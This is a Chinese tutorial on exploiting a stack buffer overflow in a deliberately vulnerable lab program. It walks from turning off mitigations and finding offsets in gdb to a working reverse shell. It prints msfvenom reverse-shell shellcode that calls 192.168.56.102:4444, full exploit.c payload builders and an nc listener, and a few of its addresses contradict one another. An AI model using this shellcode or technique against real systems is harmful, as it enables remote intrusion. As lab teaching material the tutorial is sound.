缓冲区溢出二:从缓冲区溢出到获取反弹shell实例
一、说明
之前写过一篇“缓冲区溢出一:函数调用过程中的堆栈变化及缓冲区溢出利用原理”,道理讲得还可以,但现在看还是需要一个示例来讲解从攻击角度如何实现返回地址的覆盖和执行shellcode。
二、环境准备
2.1 操作系统环境
虚拟环境使用VirtualBox,VirtualBox下载地址:https://www.virtualbox.org/wiki/Downloads
shellcode生成使用VirtualBox的kali,下载后直接用VirtualBox打开.ova文件即可,kali虚拟机下载地址:https://www.kali.org/get-kali/#kali-virtual-machines
(主要是使用kali安装好的metasploit的msfvenom模块来协助生成shellcode,如果自己已有kali或自己装metasploit也可以。)
程序编译运行使用VirtualBox的SeedUbuntu虚拟机,SeedUbuntu虚拟硬盘下载地址:https://pan.zju.edu.cn/share/6c72d40cdc0877833c6b96bd2d
下载后解压,然后在VirtualBox中新建一台使用该虚拟硬盘(.vmdk文件)的虚拟机即可; 系统账户密码为root/seedubuntu、seed/dees。
2.2 漏洞程序
存在漏洞的程序如下,整个流程是程序从名为“badfile”的文件中读入517字节,将后使用strcpy函数将其赋值给buffer变量,而buffer最长也仅48个字节长度,这就存在缓冲区溢出。
(程序原意是studentId随便输,这里根据默认优先的思想我先填了个20,大家可以自己改,最后的payload会兼容任意值。)
以下内容保存为stack.c
/* stack.c */ /* This program has a buffer overflow vulnerability. */ /* Our task is to exploit this vulnerability */ #include <stdlib.h> #include <stdio.h> #include <string.h> int bof(char *str, int studentId) { int bufferSize; bufferSize = 12 + studentId%32; char buffer[bufferSize]; /* The following statement has a buffer overflow problem */ strcpy(buffer, str); return 1; } int main(int argc, char **argv) { char str[517]; FILE *badfile; int studentId = 20; // please put your student ID badfile = fopen("badfile", "r"); fread(str, sizeof(char), 517, badfile); bof(str,studentId); printf("Returned Properly\n"); return 1; }
2.3 缓解措施关闭
现在操作系统或编译器引入了多种缓解措施,防范缓冲区溢出漏洞的利用,我们这里只是做一个演示,缓解措施的攻防的属于安全前沿研究了,我们暂不考虚,所以这里将这些缓解措施都关闭掉。
关闭地址空间随机化。地址空间随机后会导致变量存储在的栈地址每次运行是不一样的,对漏洞利用的主要影响一是注入的payload的地址也是变动的,二是payload地址要覆盖返回地址的那个地址(或者叫存储返回地址的地址)也是变动的。使用root执行以下命令地址空间随机化。
sysctl -w kernel.randomize_va_space=0
关闭栈保护。栈保护是指GCC在编译时默认会在变量空间之后添加一个标识,运行时如果标识被覆盖则认为存在溢出程序运行报错。关闭方法是在gcc编译时加上-fno-stack-protector选项。
关闭栈不可执行。变量的值即包括我们注入的payload是存放在堆栈段中的,如果堆栈不可执行那我们注入的payload也就没法执行。关闭方法是在gcc编译时加上-z execstack选项。
2.4 目标对齐
在2.3前提下,利用2.2的stack.c程序的缓冲区溢出漏洞,得到一个反弹shell。
三、攻击实施
3.1 启动一个nc监听
# 改成你自己的ip地址和想要的端口 nc -lv 192.168.56.102 4444
3.2 生成shellcode
这个shellcode要能获取反弹shell,这是我们2.4制定的目标决定的。
这个shellcode应该是原始的十六进制形式,因为2.2的程序为c语言我们攻击的是一个c语言的变量。
我们借助msfvenom生成,为了满足第一个要求我们指定payload格式为linux/x86/shell_reverse_tcp,为了满足第二个要求我们指定输出格式为c语言。
可以看到最终msfvenom帮我们生成了长度为68字节的shellcode
翻译成汇编指令如下(我也没具体分析哪几条汇编指令是做什么,这也没必要,总之整体就是去连接192.168.56.102的4444端口就是了)
"\x31\xdb" /*Line 1: xor %ebx,%ebx */ /* shellcode start total 68 bytes */ "\xf7\xe3" /*Line 2: mul %ebx */ "\x53" /*Line 3: push %ebx */ "\x43" /*Line 4: inc %ebx */ "\x53" /*Line 5: push %ebx */ "\x6a\x02" /*Line 6: push $0x2 */ "\x89\xe1" /*Line 7: mov %esp,%ecx */ "\xb0\x66" /*Line 8: mov $0x66,%al */ "\xcd\x80" /*Line 9: int $0x80 */ "\x93" /*Line 10: xchg %eax,%ebx */ "\x59" /*Line 11: pop %ecx */ "\xb0\x3f" /*Line 12: mov $0x3f,%al */ "\xcd\x80" /*Line 13: int $0x80 */ "\x49" /*Line 14: dec %ecx */ "\x79\xf9" /*Line 15: jns 0xbffff33c */ "\x68\xc0\xa8\x38\x66" /*Line 16: push $0x6638a8c0 */ "\x68\x02\x00\x11\x5c" /*Line 17: push $0x5c110002 */ "\x89\xe1" /*Line 18: mov %esp,%ecx */ "\xb0\x66" /*Line 19: mov $0x66,%al */ "\x50" /*Line 20: push %eax */ "\x51" /*Line 21: push %ecx */ "\x53" /*Line 22: push %ebx */ "\xb3\x03" /*Line 23: mov $0x3,%bl */ "\x89\xe1" /*Line 24: mov %esp,%ecx */ "\xcd\x80" /*Line 25: int $0x80 */ "\x52" /*Line 26: push %edx */ "\x68\x6e\x2f\x73\x68" /*Line 27: push $0x68732f6e */ "\x68\x2f\x2f\x62\x69" /*Line 28: push $0x69622f2f */ "\x89\xe3" /*Line 29: mov %esp,%ebx */ "\x52" /*Line 30: push %edx */ "\x53" /*Line 31: push %ebx */ "\x89\xe1" /*Line 32: mov %esp,%ecx */ "\xb0\x0b" /*Line 33: mov $0xb,%al */ "\xcd\x80" /*Line 34: int $0x80 */ /* shellcode end total 68 bytes */
3.3 生成badfile文件
3.3.1 shellcode地址和shellcode在badfile中的先后顺序
栈向低地址生长,所以一般想法是shellcode在前,填入stack.c中在(相对的)低地址的buffer变量的空间; shellcode地址在后,覆盖处在(相对的)原先的返回地址。
但是栈中的变量向高地址生长,我们生成的shellcode就有68个字节了,而buffer变量最长也只有48个字节,这就导致如果shellcode在前那么一是可能填到返回地址shellcode都还没填完怎么填shellcode地址; 二是即便返回地址前的空间能勉强写完shellcode能在返回地址处写入shellcode地址,这shellcode和返回地址也太近了,返回地址处是返回之后的栈顶,shellcode靠后的指令很可能被自己的入栈动作(push)出栈动作(pop)给擦写掉。
基于以上两个原因,我们不能使用一般的shellcode在前shellcode地址在后的的形式,那如果shellcode地址在前shellcode地址在后该怎么组织呢?
shellcode除了存入buffer变量,其实还存到了str变量,str是上层main函数的变量其存放于main函数的栈中,返回后栈顶移动到的是main函数的栈顶入栈动作(push)不会擦写到存放在str中的shellcode(当然极端情况下如果shellcode有很多pop再来push还是有可能擦写shellcode,一是只能说这情况很少,二是我们可以将shellcode尽量放到str的后半部)。
所以总体的组织形式是:
shellcode地址在前(且使用的是存放在str变量中的shellcode而非buffer中的shellcode。其实即便buffer空间充足想使用buffer中的shellcode还有一个问题,我们的shellcode是有0x00的而strcpy函数复制到0x00就放为字符串结束不再复制了,这个问题还得解决,这也是msf的encoder用途之一这里就不展开了。)
shellcode在后
3.3.2 确定shellcode地址应该写入badfile哪个地址
上一节我们做了一个定性分析,shellcode地址应该写在badfile的前部,但这个前端到底是哪个字节呢,这需要做一个定量分析。
shellcode地址写入badfile地址 = 存方返回地址的地址 - buffer变量地址
所以,我们要找到返回地址,再找存放返回地址的地址,再找buffer变量的地址,最终求出shellcode地址写入badfile地址
现在我们只确定shellcode长什么样,及shellcode前应预留空间给shellcode地址,所以我们按这条件先构建个badfile文件让stack.c能运行起来。
代码如下,保存成exploit.c:
/* exploit.c */ /* A program that creates a file containing code for launching shell*/ #include <stdlib.h> #include <stdio.h> #include <string.h> char shellcode[]= "\x90\x90\x90\x90" /* 0x00000000 */ "\x90\x90\x90\x90" "\x90\x90\x90\x90" "\x90\x90\x90\x90" "\x90\x90\x90\x90" /* 0x00000010 */ "\x90\x90\x90\x90" "\x90\x90\x90\x90" "\x90\x90\x90\x90" "\x90\x90\x90\x90" /* 0x00000020 */ "\x90\x90\x90\x90" "\x90\x90\x90\x90" "\x90\x90\x90\x90" "\x90\x90\x90\x90" /* 0x00000030 */ "\x90\x90\x90\x90" "\x90\x90\x90\x90" "\x90\x90\x90\x90" "\x90\x90\x90\x90" /* 0x00000040 */ "\x90\x90\x90\x90" "\x90\x90\x90\x90" "\x90\x90\x90\x90" "\x90\x90\x90\x90" /* 0x00000050 */ "\x90\x90\x90\x90" "\x90\x90\x90\x90" "\x90\x90\x90\x90" "\x90\x90\x90\x90" /* 0x00000060 */ "\x90\x90\x90\x90" "\x90\x90\x90\x90" "\x90\x90\x90\x90" "\x31\xdb" /*Line 1: xor %ebx,%ebx */ /* 0x00000070 */ /* shellcode start total 68 bytes */ "\xf7\xe3" /*Line 2: mul %ebx */ "\x53" /*Line 3: push %ebx */ "\x43" /*Line 4: inc %ebx */ "\x53" /*Line 5: push %ebx */ "\x6a\x02" /*Line 6: push $0x2 */ "\x89\xe1" /*Line 7: mov %esp,%ecx */ "\xb0\x66" /*Line 8: mov $0x66,%al */ "\xcd\x80" /*Line 9: int $0x80 */ "\x93" /*Line 10: xchg %eax,%ebx */ "\x59" /*Line 11: pop %ecx */ "\xb0\x3f" /*Line 12: mov $0x3f,%al */ "\xcd\x80" /*Line 13: int $0x80 */ "\x49" /*Line 14: dec %ecx */ "\x79\xf9" /*Line 15: jns 0xbffff33c */ "\x68\xc0\xa8\x38\x66" /*Line 16: push $0x6638a8c0 */ "\x68\x02\x00\x11\x5c" /*Line 17: push $0x5c110002 */ "\x89\xe1" /*Line 18: mov %esp,%ecx */ "\xb0\x66" /*Line 19: mov $0x66,%al */ "\x50" /*Line 20: push %eax */ "\x51" /*Line 21: push %ecx */ "\x53" /*Line 22: push %ebx */ "\xb3\x03" /*Line 23: mov $0x3,%bl */ "\x89\xe1" /*Line 24: mov %esp,%ecx */ "\xcd\x80" /*Line 25: int $0x80 */ "\x52" /*Line 26: push %edx */ "\x68\x6e\x2f\x73\x68" /*Line 27: push $0x68732f6e */ "\x68\x2f\x2f\x62\x69" /*Line 28: push $0x69622f2f */ "\x89\xe3" /*Line 29: mov %esp,%ebx */ "\x52" /*Line 30: push %edx */ "\x53" /*Line 31: push %ebx */ "\x89\xe1" /*Line 32: mov %esp,%ecx */ "\xb0\x0b" /*Line 33: mov $0xb,%al */ "\xcd\x80"; /*Line 34: int $0x80 */ /* shellcode end total 68 bytes */ void main(int argc, char **argv) { char buffer[517]; FILE *badfile; /* Initialize buffer with 0x90 (NOP instruction) */ memset(&buffer, 0x90, 517); /* You need to fill the buffer with appropriate contents here */ memcpy(buffer, shellcode, 7*16+68); /* Save the contents to the file "badfile" */ badfile = fopen("./badfile", "w"); fwrite(buffer, 517, 1, badfile); fclose(badfile); }
编译运行生成badfile文件:
# 编译 # exploit并不是我们要溢出的目标,所以不需要 -fno-stack-protector和 -z execstack这两个参数 gcc -g -o exploit exploit.c # 过行生成badfile文件 ./exploit # 以十六进制查看badfile文件内容 # *号表示一直重复上一行的内容 # 0000205 = 2 * 16 * 16 + 0 * 16 + 5 = 517 hexdump badfile
以编译stack.c并用gdb载入调试
# 编译
gcc -fno-stack-protector -z execstack -g -o stack stack.c
# gdb载入调试
gdb ./stack
查看调用完bof函数后的返回地址,可以看到返回地址是0x08048584
# 反汇编main函数
disass main
进入bof函数,查看返回地址存放地址和buffer变量地址,我们不能直接获取返回地址存放地址,但他就在buffer变量后不远处,所以我们查看buffer变量及其后远一些位置即可
# 查看程序源代码1到40行,以查看bof函数代码所在行 l 1,40 # 在bof函数buffer变量定义后的某行设置断点,以使程序运行在bof内停下 b 15
# 运行程序
run
# 查看buffer变量及其后48 * 0x * 4字节的内容(w,字,长度为4字节) x /48xw buffer
可以看到buffer变量在0xbffff270处,返回地址(0x08048584)存放地址为0xbffff2a0
0xbffff2ac - 0xbffff270 = 0x0000003c,所以我们应该在badfile的0x0000003c处填shellcode地址
3.3.3 确定shellcode地址
shellcode地址应填在badfile的0x0000003c处,前边我们shellcode前预留的空间有0x0000006f之多,所以我们直接看shellcode地址然后在badfile的0x0000003c处填入即可。
我们不确定shellcode的位置,但他在str变量中,我们直接查看str变量既可
# 查看str变量及其后48 * 0x * 4字节的内容(w,字,长度为4字节) x /48xw str
可以看到shellcode位于0xbffff333处
3.3.4 重新生成badfile
由上一小结分析可知,我们将原来的badfile的0x0000003c处改成0xbffff333即可。
但一是为了稳妥起见,
一是shellcode地址一般逐陆到0xbffff333前边的地址,然后通过nop(即0x90)滑到0xbffff333,这种方式在这里没什么用,但还是建议养成这个习惯。这里我们选0xbffff323。
二是,一般我们将0x0000003c前后的一片都写成shellcode地址,这种方式在这里没什么用,但还是建议养成这个习惯,另外也是为了兼容stundentID % 32。我们这里将0x00000010到0x00000050全写成shellcode地址。
另外为了str不被strcpy覆盖,在0x00000050之后(shellcode,0x00000070之前)要及早插入0x00,这里就将0x00000054设置为0x00
代码如下,保存成exploit.c:
/* exploit.c */ /* A program that creates a file containing code for launching shell*/ #include <stdlib.h> #include <stdio.h> #include <string.h> char shellcode[]= "\x90\x90\x90\x90" /* 0x00000000 */ "\x90\x90\x90\x90" "\x90\x90\x90\x90" "\x90\x90\x90\x90" "\x26\xf3\xff\xbf" /* 0x00000010 */ "\x26\xf3\xff\xbf" "\x26\xf3\xff\xbf" "\x26\xf3\xff\xbf" "\x26\xf3\xff\xbf" /* 0x00000020 */ "\x26\xf3\xff\xbf" "\x26\xf3\xff\xbf" "\x26\xf3\xff\xbf" "\x26\xf3\xff\xbf" /* 0x00000030 */ "\x26\xf3\xff\xbf" "\x26\xf3\xff\xbf" "\x26\xf3\xff\xbf" "\x26\xf3\xff\xbf" /* 0x00000040 */ "\x26\xf3\xff\xbf" "\x26\xf3\xff\xbf" "\x26\xf3\xff\xbf" "\x26\xf3\xff\xbf" /* 0x00000050 */ "\x00\x90\x90\x90" /* 0x00 */ "\x90\x90\x90\x90" "\x90\x90\x90\x90" "\x90\x90\x90\x90" /* 0x00000060 */ "\x90\x90\x90\x90" "\x90\x90\x90\x90" "\x90\x90\x90\x90" "\x31\xdb" /*Line 1: xor %ebx,%ebx */ /* 0x00000070 */ /* shellcode start total 68 bytes */ "\xf7\xe3" /*Line 2: mul %ebx */ "\x53" /*Line 3: push %ebx */ "\x43" /*Line 4: inc %ebx */ "\x53" /*Line 5: push %ebx */ "\x6a\x02" /*Line 6: push $0x2 */ "\x89\xe1" /*Line 7: mov %esp,%ecx */ "\xb0\x66" /*Line 8: mov $0x66,%al */ "\xcd\x80" /*Line 9: int $0x80 */ "\x93" /*Line 10: xchg %eax,%ebx */ "\x59" /*Line 11: pop %ecx */ "\xb0\x3f" /*Line 12: mov $0x3f,%al */ "\xcd\x80" /*Line 13: int $0x80 */ "\x49" /*Line 14: dec %ecx */ "\x79\xf9" /*Line 15: jns 0xbffff33c */ "\x68\xc0\xa8\x38\x66" /*Line 16: push $0x6638a8c0 */ "\x68\x02\x00\x11\x5c" /*Line 17: push $0x5c110002 */ "\x89\xe1" /*Line 18: mov %esp,%ecx */ "\xb0\x66" /*Line 19: mov $0x66,%al */ "\x50" /*Line 20: push %eax */ "\x51" /*Line 21: push %ecx */ "\x53" /*Line 22: push %ebx */ "\xb3\x03" /*Line 23: mov $0x3,%bl */ "\x89\xe1" /*Line 24: mov %esp,%ecx */ "\xcd\x80" /*Line 25: int $0x80 */ "\x52" /*Line 26: push %edx */ "\x68\x6e\x2f\x73\x68" /*Line 27: push $0x68732f6e */ "\x68\x2f\x2f\x62\x69" /*Line 28: push $0x69622f2f */ "\x89\xe3" /*Line 29: mov %esp,%ebx */ "\x52" /*Line 30: push %edx */ "\x53" /*Line 31: push %ebx */ "\x89\xe1" /*Line 32: mov %esp,%ecx */ "\xb0\x0b" /*Line 33: mov $0xb,%al */ "\xcd\x80"; /*Line 34: int $0x80 */ /* shellcode end total 68 bytes */ void main(int argc, char **argv) { char buffer[517]; FILE *badfile; /* Initialize buffer with 0x90 (NOP instruction) */ memset(&buffer, 0x90, 517); /* You need to fill the buffer with appropriate contents here */ memcpy(buffer, shellcode, 7*16+68); /* Save the contents to the file "badfile" */ badfile = fopen("./badfile", "w"); fwrite(buffer, 517, 1, badfile); fclose(badfile); }
重新编译运行重新生成badfile文件:
# 编译 # exploit并不是我们要溢出的目标,所以不需要 -fno-stack-protector和 -z execstack这两个参数 gcc -g -o exploit exploit.c # 过行生成badfile文件 ./exploit # 以十六进制查看badfile文件内容 # *号表示一直重复上一行的内容 # 0000205 = 2 * 16 * 16 + 0 * 16 + 5 = 517 hexdump badfile
重新载入stack调试,
# 查看程序源代码1到40行,以查看bof函数代码所在行 l 1,40 # 在bof函数buffer变量定义后的某行设置断点,以使程序运行在bof内停下 b 15 # 运行程序 run # 查看buffer变量及其后48 * 0x * 4字节的内容(w,字,长度为4字节) x /48xw buffer # 单步步过执行 # 执行strcpy(buffer, str) n # 查看buffer变量及其后48 * 0x * 4字节的内容(w,字,长度为4字节) # 由于buffer地址值可能被覆盖,所以我们直接将buffer这个符号改成上边翻译出来的地址,0xbffff270 x /48xw 0xbffff270
可以看到原先的返回地址(及其前后)0x08048584被替换成了新的返回地址0xfffff326所替代
# 调出寄存器窗口
layout regs
# 单条汇编执行
# 手动输入一次ni回车后,后面都直接回车即可
ni
到ret后再回车,可以看到,和预期一样eip指向了0xfffff326
# 直接运行,类似od的f9
c
可以看到派生了一个shell进程
回到nc窗口可以看到,收到了一个连接且可以执行命令,至此我们实现了我们的最终目标:获取一个反弹shell。
四、问题
4.1 直接运行反弹失败
在gdb中运行stack可以成功反弹,但直接运行总是报“Segmentation fault”等错误,还没搞清楚原因。